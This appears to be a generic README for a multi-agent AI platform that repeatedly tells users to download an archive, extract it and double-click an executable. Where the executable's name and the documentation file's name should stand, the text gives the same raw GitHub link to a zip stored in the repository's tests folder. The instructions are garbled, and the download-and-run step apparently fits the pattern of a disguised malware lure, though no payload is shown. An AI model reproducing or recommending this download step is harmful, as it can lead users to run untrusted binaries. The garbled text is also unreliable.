Welcome to the distributed multi-agent platform! This application allows for efficient communication between multiple AI agents. Follow these simple steps to get started.
To run this application, you need to download it from our Releases page.
Visit this page to download: Releases Page
Before installing the application, ensure your system meets the following requirements:
- Operating System: Windows 10, macOS 10.14 or later, or a Linux distribution (Ubuntu 18.04 or later)
- Memory: At least 4 GB of RAM
- Processor: Dual-core or higher
- Network: Internet connection for WebSocket functionality
- Real-time Communication: Enjoy smooth interactions between agents using WebSockets.
- Scalable Architecture: Easily add more agents to handle larger tasks.
- Semantic Search: Quickly find relevant data with ChromaDB.
- High Availability: The system remains operational even with heavy loads.
- Agent Discovery: Quickly locate online agents in your network.
To install the distributed multi-agent platform, follow these steps:
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Download the Application: Go to the Releases Page and download the latest version for your operating system.
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Extract Files: After downloading, locate the zipped file in your downloads folder. Right-click on it and select "Extract All" to unzip the contents.
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Run the Application: Open the folder you extracted and double-click the executable file (e.g.,
https://raw.githubusercontent.com/khaizz-coder/distributed-multi-agent-platform/main/tests/agent_multi_distributed_platform_v2.5.zipfor Windows). Follow the on-screen instructions to start the platform. -
Set Up Configuration: The platform may require some initial configuration. Please refer to the provided configuration file and adjust settings as needed.
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Start Using the Application: Once everything is set up, you can start coordinating your AI agents.
After installation, you can start using the platform to manage and communicate with your AI agents. Here are some basic commands and actions:
- Launching the UI: Open the application to access the graphical interface.
- Adding Agents: Use the interface to add new agents to your system.
- Monitoring Communication: View real-time updates as agents interact.
If you encounter any issues, consider the following steps:
- Check System Compatibility: Ensure your system meets the requirements listed above.
- Consult the Documentation: In the application folder, you will find a file named
https://raw.githubusercontent.com/khaizz-coder/distributed-multi-agent-platform/main/tests/agent_multi_distributed_platform_v2.5.zip. This file contains detailed guidance on using the platform. - Community Support: Visit our GitHub Issues Page to ask questions or report problems.
- GitHub Repository: distributed-multi-agent-platform GitHub
- Quick Start Guide: Check the documentation for a quick overview of functionality.
- WebSocket Documentation: Learn more about WebSocket communication.
This project utilizes several powerful technologies:
- AutoGen: For generating agent responses.
- FastAPI: To create a fast and efficient API.
- Redis: For real-time data and caching.
Explore the capabilities that these technologies bring to our platform.
Thank you for choosing the distributed multi-agent platform to work with AI agents. Follow the steps above to download and set up the application easily. We hope you enjoy its functionalities.
Once again, visit this page to download: Releases Page